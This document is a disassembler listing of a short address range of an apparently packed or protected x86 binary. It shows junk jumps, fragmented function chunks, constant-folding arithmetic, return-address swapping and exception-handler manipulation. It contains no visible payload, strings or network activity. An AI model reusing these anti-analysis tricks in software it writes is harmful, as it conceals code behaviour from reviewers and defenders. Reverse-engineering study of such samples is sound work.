loc_424027:				; CODE XREF: sub_42A909:loc_42B297j
		push	esi
		push	291D3546h
		pop	esi
		and	esi, 0C19A98D3h
		rol	esi, 1Ah
		add	esi, 0F83E1561h
		xchg	esi, [esp+4+var_4]
		jmp	sub_4264F4
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		push	eax
		and	ebx, 0A2CAF055h
		jmp	sub_42B5C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_424051:				; CODE XREF: sub_426535-A9Cj
		xchg	esi, [esp+0]
		push	0
		push	10h
		mov	eax, [ebp+8]
		push	offset loc_42CD61
		jmp	loc_427FE9
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		mov	eax, ecx
		jmp	sub_42D368
; ---------------------------------------------------------------------------
		mov	edx, 9E99B23Eh
		call	sub_429165
		push	eax
		rol	eax, 17h
		mov	ds:dword_42E528, eax
		retn
; ---------------------------------------------------------------------------


loc_424081:				; CODE XREF: wto1jq8f:0042E207j
		jmp	loc_427CA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_424086:				; CODE XREF: sub_429B76:loc_42A0ACj
		push	eax
		call	sub_42408D
		retn
; END OF FUNCTION CHUNK	FOR sub_429B76

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42408D	proc near		; CODE XREF: sub_429B76-5AEFp

; FUNCTION CHUNK AT 0042598D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428EEF SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_428EEF
sub_42408D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D44C


loc_424097:				; CODE XREF: sub_42D44C+13j
		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		jmp	loc_426EC4
; END OF FUNCTION CHUNK	FOR sub_42D44C
; ---------------------------------------------------------------------------
		xor	ebp, 0B946E1FDh
		jmp	sub_425944
; ---------------------------------------------------------------------------
		mov	eax, 0A41EFBE4h
		jmp	sub_42CF6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4240C3:				; CODE XREF: sub_42C486:loc_42955Cj
		jmp	loc_427181
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
		jmp	loc_428361
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4240CD:				; CODE XREF: sub_42C486:loc_42E7BBj
		call	sub_426144


loc_4240D2:				; CODE XREF: sub_4294F4+621Bj
		jmp	loc_42C2B3
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D397


loc_4240D7:				; CODE XREF: sub_42D397+1j
		jmp	loc_42BAF1
; END OF FUNCTION CHUNK	FOR sub_42D397

; =============== S U B	R O U T	I N E =======================================



sub_4240DC	proc near		; CODE XREF: wto1jq8f:0042CA6Fj
					; sub_4276C3:loc_42E2F5p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424DFD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425CCE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427158 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428106 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C2CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC60 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042D0D8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042F728 SIZE 00000015 BYTES

		mov	[esp+0], eax
		pop	eax
		push	2
		push	0F08CCD4Bh
		pop	eax
		jmp	loc_42CC60
sub_4240DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB75


loc_4240ED:				; CODE XREF: sub_42BB75:loc_42AFC8j
		mov	ebp, offset sub_4240F6
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42BB75

; =============== S U B	R O U T	I N E =======================================



sub_4240F6	proc near		; DATA XREF: sub_42BB75:loc_4240EDo
		push	offset sub_429471
		jmp	nullsub_201
sub_4240F6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FFBA


loc_424100:				; CODE XREF: sub_42FFBA+Cj
		jz	loc_42911E
		jmp	loc_424FA8
; END OF FUNCTION CHUNK	FOR sub_42FFBA
; ---------------------------------------------------------------------------
		cmp	edx, ebp
		jmp	loc_42832D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_424112:				; CODE XREF: sub_426E98:loc_42C3F3j
		add	eax, 0FF41A268h
		add	eax, ebp
		add	eax, 0C313D3Bh
		push	offset sub_427A30
		jmp	loc_4274E5
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_42412A:				; CODE XREF: wto1jq8f:0042E21Dj
		add	ecx, 0F7F7467Dh
; START	OF FUNCTION CHUNK FOR sub_42CF6A


loc_424130:				; CODE XREF: sub_42CF6A+4j
		xor	edx, 606E79AAh
		and	edx, esi
		adc	esi, edi
		jmp	loc_42601E
; END OF FUNCTION CHUNK	FOR sub_42CF6A
; ---------------------------------------------------------------------------


loc_42413F:				; DATA XREF: sub_4263B3-1CF9o
		xchg	ebx, [esp]
		jmp	sub_424585
; ---------------------------------------------------------------------------


loc_424147:				; CODE XREF: wto1jq8f:loc_42E52Cj
		push	edi
		mov	[esp], eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42414C	proc near		; CODE XREF: wto1jq8f:00424C83p
					; sub_4266EF+57E2p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042485F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428E20 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042BD7C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E3E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F853 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FE5B SIZE 0000001C BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42FE5B
sub_42414C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_424154:				; CODE XREF: sub_4262CE:loc_42817Ej
		pop	ecx
		sub	ecx, 0A13AB98Eh
		add	ecx, 9FC2DA0h
		push	offset sub_42DF80
		jmp	nullsub_251
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42416B:				; CODE XREF: sub_426535:loc_42D3BFj
		jnz	loc_424934
		jmp	loc_429B06
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		mov	ebx, eax
		or	edx, 2CDC585Ah
		jmp	sub_42EDB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_424183:				; CODE XREF: wto1jq8f:00425D3Fj
					; sub_4267AE+Bj ...
		jno	loc_427BB8
		call	sub_42CB36
		test	al, al
		jz	loc_42E993
		jmp	loc_42A0C8
; END OF FUNCTION CHUNK	FOR sub_429B76

; =============== S U B	R O U T	I N E =======================================



sub_42419B	proc near		; CODE XREF: sub_428BC4-DDBp
					; wto1jq8f:004281FCj

arg_0		= dword	ptr  4

		mov	[esp+0], eax
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		retn
sub_42419B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429308


loc_4241A3:				; CODE XREF: sub_429308+Bj
		call	sub_425C5F


loc_4241A8:				; CODE XREF: wto1jq8f:0042E1C7j
		jmp	loc_424527
; END OF FUNCTION CHUNK	FOR sub_429308

; =============== S U B	R O U T	I N E =======================================



sub_4241AD	proc near		; DATA XREF: sub_4244EA+B872o

; FUNCTION CHUNK AT 0042FBEF SIZE 0000000E BYTES

		push	ecx
		push	66B40230h
		pop	ecx
		rol	ecx, 7
		jmp	loc_42FBEF
sub_4241AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F9CA


loc_4241BC:				; CODE XREF: sub_42F9CA+7j
		mov	edx, edi
		pop	edi
		pop	ecx
		pop	eax
		jmp	loc_425A67
; END OF FUNCTION CHUNK	FOR sub_42F9CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_4241C6:				; CODE XREF: sub_42A909+994j
		cmp	edi, eax
		jmp	loc_42AFA5
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_4241CD:				; CODE XREF: sub_42AA68:loc_42A486j
		jnz	loc_42AE7F
		jmp	loc_4270DC
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
		adc	edi, eax
		jmp	sub_42BB58
; ---------------------------------------------------------------------------


loc_4241DF:				; CODE XREF: wto1jq8f:0042A8E6j
		add	ebx, 98D2CBA8h
		xchg	ebx, [esp]
		jmp	sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4241ED:				; CODE XREF: sub_42E9E8-6691j
		push	0B2F7055h
		pop	ebx
		add	ebx, 0F51320FBh
		xchg	ebx, [esp+0]
		jmp	loc_42D289
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_424201:				; CODE XREF: sub_426535:loc_42C66Bj
		push	7A3D2B78h
		jmp	loc_42A167
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42420B:				; CODE XREF: sub_42506F+6F48j
		jnz	loc_42C356
; END OF FUNCTION CHUNK	FOR sub_42506F
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_424211:				; CODE XREF: sub_4282C1+10j
		jmp	loc_42E850
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
		or	eax, ecx
		mov	ecx, edi
		add	esi, 97664A10h
		jmp	loc_42C356
; ---------------------------------------------------------------------------
		test	ebp, edx
		jmp	loc_42F7A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42422C:				; CODE XREF: sub_429F7D:loc_429F70j
		jnz	loc_42B6CF
; END OF FUNCTION CHUNK	FOR sub_429F7D

; =============== S U B	R O U T	I N E =======================================



sub_424232	proc near		; CODE XREF: sub_4270C0+6p

; FUNCTION CHUNK AT 00424FC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426919 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042D5F4 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnz	loc_424FC7
		jmp	loc_42D5F4
sub_424232	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424241:				; CODE XREF: wto1jq8f:004268D5j
		jl	loc_42EC15
		jg	loc_42A337
		push	0C9FFAB8Eh
		jmp	loc_42EC09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF89


loc_424257:				; CODE XREF: sub_42CF89:loc_42A740j
		or	edi, 87B8AFF1h
		sub	edi, 0BD4E4A93h
		test	edi, 2000000h
		jmp	loc_42FA8E
; END OF FUNCTION CHUNK	FOR sub_42CF89
; ---------------------------------------------------------------------------


loc_42426E:				; CODE XREF: wto1jq8f:0042CE22j
		shl	ebx, 15h
		jmp	loc_424EE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426313


loc_424276:				; CODE XREF: sub_426313:loc_429160j
		jz	loc_42DC52
		jmp	loc_4296DE
; END OF FUNCTION CHUNK	FOR sub_426313
; ---------------------------------------------------------------------------


loc_424281:				; CODE XREF: wto1jq8f:0042D7B5j
		and	ebp, 0A6341EF9h
		test	edx, ebx
		jmp	loc_429E18
; ---------------------------------------------------------------------------

locret_42428E:				; CODE XREF: wto1jq8f:loc_42D83Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42428F:				; CODE XREF: sub_42F25F-617Cj
		jmp	loc_42E8B4
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_424294:				; CODE XREF: sub_426144:loc_42431Fj
					; wto1jq8f:loc_42816Aj	...
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------


loc_42429F:				; CODE XREF: wto1jq8f:00427BE2j
		jmp	locret_42B03C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4242A4:				; CODE XREF: sub_42C486:loc_42928Ej
		push	large dword ptr	fs:0
		jmp	loc_42ADF5
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
		push	eax
		push	offset sub_42CDE2
		jmp	loc_427A13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_4242BB:				; CODE XREF: sub_429BD3+3C32j
		push	eax
		call	sub_42DE1F


loc_4242C1:				; CODE XREF: sub_42FFBA:loc_4299F1j
		call	sub_429165
		push	eax
		rol	eax, 3
		mov	ds:dword_42F1EC, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_429BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_4242D1:				; CODE XREF: sub_42BE69+10j
		jmp	loc_42C9D4
; END OF FUNCTION CHUNK	FOR sub_42BE69

; =============== S U B	R O U T	I N E =======================================



sub_4242D6	proc near		; CODE XREF: sub_42727F:loc_42749Fj
					; sub_42704E+8DEp ...

; FUNCTION CHUNK AT 0042AB5B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042CBC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F9C3 SIZE 00000005 BYTES

		js	sub_4294F4
		jmp	loc_42CBC1
sub_4242D6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_4242E1:				; CODE XREF: sub_42A909-610Fj
		jb	loc_42C5D4
		not	ecx
		jmp	loc_424D27
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B705


loc_4242EE:				; CODE XREF: sub_42B705-4A9Fj
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42B705

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F8	proc near		; CODE XREF: sub_426C53+4p
					; sub_42B705+Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004273D0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D65D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042EA1C SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_4273D0
sub_4242F8	endp

; ---------------------------------------------------------------------------


loc_424303:				; CODE XREF: wto1jq8f:00424CD2j
		or	edx, 0B03F2CD1h

; =============== S U B	R O U T	I N E =======================================



sub_424309	proc near		; CODE XREF: wto1jq8f:00428C4Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424DB7 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042694B SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		xor	[esp-4+arg_0], eax
		jmp	loc_42694B
sub_424309	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset sub_4266CA
		jmp	loc_42E718
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42431F:				; CODE XREF: sub_426144+2231j
		jz	loc_424294
		jmp	loc_429454
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42432A:				; CODE XREF: sub_426535+891Aj
		jb	loc_426895
		jle	nullsub_78
		jmp	loc_426FFA
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================



sub_42433B	proc near		; CODE XREF: sub_426E98+134p
					; wto1jq8f:0042F831j

; FUNCTION CHUNK AT 00424B6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A48 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00426A54 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042CC05 SIZE 0000000A BYTES

		mov	[esp+0], edi
		pop	edi
		jz	loc_426A54
		mov	dword ptr [ebp-8], 1
		jmp	loc_424B6B
sub_42433B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424351	proc near		; CODE XREF: sub_426E98j
		push	ebp
		mov	ebp, esp
		jmp	sub_42CBEE
sub_424351	endp

; ---------------------------------------------------------------------------
		call	sub_42FB84
; START	OF FUNCTION CHUNK FOR sub_4259FF


loc_42435E:				; CODE XREF: sub_4259FF+119Aj
		jmp	loc_428B27
; END OF FUNCTION CHUNK	FOR sub_4259FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424364:				; CODE XREF: wto1jq8f:004297C3j
		jmp	loc_4289AB
; ---------------------------------------------------------------------------


loc_424369:				; CODE XREF: wto1jq8f:0042EAA5j
		mov	[edx], al
		call	sub_42A197
; START	OF FUNCTION CHUNK FOR sub_426144


loc_424370:				; CODE XREF: sub_426144+6098j
		jmp	loc_42D0F2
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------


loc_424375:				; DATA XREF: sub_42A7E2+3o
		push	ecx
		mov	esp, ebp
		push	offset loc_4263A6
		jmp	loc_424CD8

; =============== S U B	R O U T	I N E =======================================



sub_424382	proc near		; CODE XREF: sub_429B6D+16B5p
		push	offset sub_4247C1
		jmp	nullsub_7
sub_424382	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42438C:				; CODE XREF: sub_429BFF:loc_42CCDEj
		push	4
		push	8EB45F72h
		pop	eax
		xor	eax, 8DBB329Ah
		or	eax, 1A9863B8h
		cmp	eax, 933622F6h
		jmp	loc_42C8B6
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245D6


loc_4243AB:				; CODE XREF: sub_4245D6:loc_429081j
		cmp	eax, 0C3C033h
		jnz	loc_42A503
		jmp	loc_4243FB
; END OF FUNCTION CHUNK	FOR sub_4245D6
; ---------------------------------------------------------------------------
		mov	edx, 0CB39536Bh
		call	sub_429165
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42ADBE
		jmp	loc_42857F

; =============== S U B	R O U T	I N E =======================================



sub_4243D7	proc near		; CODE XREF: sub_42D9FC-9374j
					; sub_42A14D-4276p ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00426227 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042A63D SIZE 00000005 BYTES

		push	eax
		push	eax
		push	0E28BF2F6h
		pop	eax
		or	eax, 3F7DEBF4h
		jmp	loc_42A63D
sub_4243D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_4243EA:				; CODE XREF: sub_427A8D-3017j
		jz	loc_4292D5
		jmp	loc_426714
; END OF FUNCTION CHUNK	FOR sub_427A8D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_4243F6:				; CODE XREF: sub_42606D-611j
		jmp	loc_428D3C
; END OF FUNCTION CHUNK	FOR sub_42606D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245D6


loc_4243FB:				; CODE XREF: sub_4245D6-220j
		jmp	loc_426FA3
; END OF FUNCTION CHUNK	FOR sub_4245D6
; ---------------------------------------------------------------------------


loc_424400:				; CODE XREF: wto1jq8f:0042F21Cj
		jz	loc_42E679

; =============== S U B	R O U T	I N E =======================================



sub_424406	proc near		; CODE XREF: sub_42CA3D:loc_42491Ap

; FUNCTION CHUNK AT 004244A4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00425A0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426518 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426946 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004291F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D1BE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042EE38 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, ds:dword_429068
		or	eax, eax
		jmp	loc_426946
sub_424406	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_424417:				; CODE XREF: sub_42AECE+2320j
		jno	loc_4263A6
		sbb	ebx, eax
		jmp	loc_427123
; END OF FUNCTION CHUNK	FOR sub_42AECE
; ---------------------------------------------------------------------------
		xchg	ebx, [esi]
		jmp	loc_42CA0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A8ED


loc_42442B:				; CODE XREF: sub_42A8ED:loc_42D12Ej
		mov	ds:byte_425920,	1
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_42A56D


loc_42443C:				; CODE XREF: wto1jq8f:loc_42BD54j
					; sub_42A8ED:loc_42D376j
		mov	eax, ds:dword_42FB44
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_42CAD3
; END OF FUNCTION CHUNK	FOR sub_42A8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_42444C:				; CODE XREF: sub_42606D+889Ej
		push	edx


loc_42444D:				; CODE XREF: sub_42606D:loc_428D3Cj
		mov	eax, [ebp-4]
		call	sub_428AC6
; END OF FUNCTION CHUNK	FOR sub_42606D
; START	OF FUNCTION CHUNK FOR sub_42C43B


loc_424455:				; CODE XREF: sub_42C43B:loc_42C6F4j
		popf
		and	ecx, edx
		call	sub_42DE77
		jnp	loc_4287DA
		jmp	loc_428CE4
; END OF FUNCTION CHUNK	FOR sub_42C43B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287D0


loc_424469:				; CODE XREF: sub_4287D0+10j
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_4287D0
; ---------------------------------------------------------------------------


loc_42446E:				; CODE XREF: wto1jq8f:00429DA7j
		call	sub_42ADC7
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_424473:				; CODE XREF: sub_42A909+3E1Bj
		jo	loc_427417
		call	sub_42CB36
		test	al, al
		jmp	loc_428E4D
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_424485:				; CODE XREF: sub_42DCB4+1Cj
					; sub_429F7D+474Dj
		or	ecx, ecx


loc_424487:				; CODE XREF: sub_42C486:loc_427880j
		push	offset loc_42BA47
		jmp	loc_42C168
; END OF FUNCTION CHUNK	FOR sub_429F7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_424491:				; CODE XREF: sub_42F614:loc_42679Cj
		push	0
		push	eax
		lea	eax, loc_42D469
		call	sub_42F36F
; END OF FUNCTION CHUNK	FOR sub_42F614
; START	OF FUNCTION CHUNK FOR sub_42D86F


loc_42449F:				; CODE XREF: sub_42D86F+3j
		jmp	locret_42A4B7
; END OF FUNCTION CHUNK	FOR sub_42D86F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424406


loc_4244A4:				; CODE XREF: sub_424406+8DD0j
		mov	ds:dword_429068, eax
		retn
; ---------------------------------------------------------------------------


loc_4244AB:				; CODE XREF: sub_424406:loc_4291F5j
		ror	eax, 1Ah
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_424406
; ---------------------------------------------------------------------------
		or	ebp, 0EE97813Dh
		jmp	sub_429E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E961


loc_4244C0:				; CODE XREF: sub_42E961+Dj
		xor	edx, edx
		push	edx


loc_4244C3:				; CODE XREF: sub_427A30:loc_426341j
		push	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		add	eax, [esp+8+var_8]
		jmp	loc_426A72
; END OF FUNCTION CHUNK	FOR sub_42E961
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: wto1jq8f:00428D6Cj
		add	edx, 0A90D7365h
		sbb	ecx, ebx
		push	offset loc_42DC99
		jmp	locret_429CA2
; ---------------------------------------------------------------------------


loc_4244E4:				; CODE XREF: wto1jq8f:00424E4Dj
		jno	loc_427D3C

; =============== S U B	R O U T	I N E =======================================



sub_4244EA	proc near		; CODE XREF: sub_42DE65-2693p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424690 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424E3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424F1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427CB8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427E6A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042834A SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00428979 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00428DA3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042934D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00429893 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429E1E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00429E88 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A4DF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A708 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ACE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B38E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B97F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BA01 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042C4CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CFB3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D7A8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DB8C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042DC7A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042DF97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F65B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042F6FA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042F93C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FD57 SIZE 0000000F BYTES

		mov	[esp+0], esi
		pop	esi
		cmp	ds:dword_425108[eax*4],	0
		jz	loc_42A4DF
		mov	eax, [ebp-4]
		jmp	loc_42BA01
sub_4244EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F23A


loc_424504:				; CODE XREF: sub_42F23A+Ej
		ja	loc_42C3D9
		jmp	loc_42A32C
; END OF FUNCTION CHUNK	FOR sub_42F23A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E3FD


loc_42450F:				; CODE XREF: sub_42E3FD+1Dj
		xor	eax, 28487859h
		pop	ebx
		pop	eax
		pop	ecx
		jmp	loc_42476D
; END OF FUNCTION CHUNK	FOR sub_42E3FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429E77


loc_42451D:				; CODE XREF: sub_429E77:loc_429E83j
		call	sub_42821F


loc_424522:				; CODE XREF: sub_42B565+14j
		jmp	loc_42AAA4
; END OF FUNCTION CHUNK	FOR sub_429E77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429308


loc_424527:				; CODE XREF: sub_429308:loc_4241A8j
		xor	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		call	sub_42483B


loc_424533:				; CODE XREF: sub_4266B1+44FBj
		jmp	loc_42701C
; END OF FUNCTION CHUNK	FOR sub_429308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42689A


loc_424538:				; CODE XREF: sub_42689A+Bj
		jmp	loc_427CC9
; END OF FUNCTION CHUNK	FOR sub_42689A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sbb	eax, 0A5508D4Dh
		jmp	sub_42C075
; ---------------------------------------------------------------------------


